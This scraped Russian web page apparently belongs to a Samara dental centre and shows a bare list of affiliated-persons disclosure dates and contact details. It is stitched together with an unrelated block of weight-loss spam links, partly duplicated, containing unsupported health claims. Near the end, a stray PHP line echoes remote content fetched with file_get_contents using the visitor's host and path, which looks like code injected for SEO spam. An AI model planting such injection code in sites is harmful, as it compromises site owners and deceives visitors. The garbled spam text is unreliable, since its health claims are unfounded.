  • Зеленый кофе купить севастополь - Ваша любимая фраза из фильма (или мультфильма) Птичку жалка Эффект от зеленого кофе значительно превосходит жареный кофе
  • Калорийность продуктов питания похудения - ☠ Похудел на целых 15 грамм! питание не калорийное ? :-( ☠ На 1 милиграм Высококалорийные продукты. Очень большая калори
  • Спортивная одежда для похудения - Кто знает магазин спорттоваров (там должны быть велики ролик и всё такое) с доставкой в любые регионы Казахстана!? Подск
  • Имбирь лимон мед и для похудения - Для похудения заваривать имбирь с лимоном натощак. А если туда ещё кофе и клубничного сиропчика? Эффект останется? А что
  • Можно ли похудеть с яблочным уксусом - Употребление яблочного уксуса при желании похудеть,вредно ли это или нет? Нет, да еще и для суставов полезно. Отзывы вра
  • Бани полезны похудение - Полезна ли сауна в процессе похудения? и чем? Полезна. Расстапливает лишний жир и выводит шлаки и токсины с потом, что в
  • Бандаж для похудения sunex - Кто-нибуть пользовался поясом для похудения- SUNEX (САУНА,КОТОРАЯ ВЕЗДЕ С ВАМИ)? Как результаты? Не тратьте деньги - не
  • Банеры о похудении - Дом-2. в инете висят банеры рекламы-"Феофилактова за пару дней похудела на 20 кг"!!!и что?от нее ничего не осталось?? Ка
  • Меню для похудения полных людей - Я полный человек, хочу похудеть с помощью бега, говорят, что суставы угроблю...Это правда? Рост 175 см, вес 95 кг. Бег е
  • Диета для больной желчи - Что можно есть больному после операции -удаление желчного пузыря? Диета №5 23 человек сохранили. Диета при болезнях пече
  • Зеленый кофе купить севастополь - Ваша любимая фраза из фильма (или мультфильма) Птичку жалка Эффект от зеленого кофе значительно превосходит жареный кофе
  • Калорийность продуктов питания похудения - ☠ Похудел на целых 15 грамм! питание не калорийное ? :-( ☠ На 1 милиграм Высококалорийные продукты. Очень большая калори
Дыхательные смеси для похудения
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта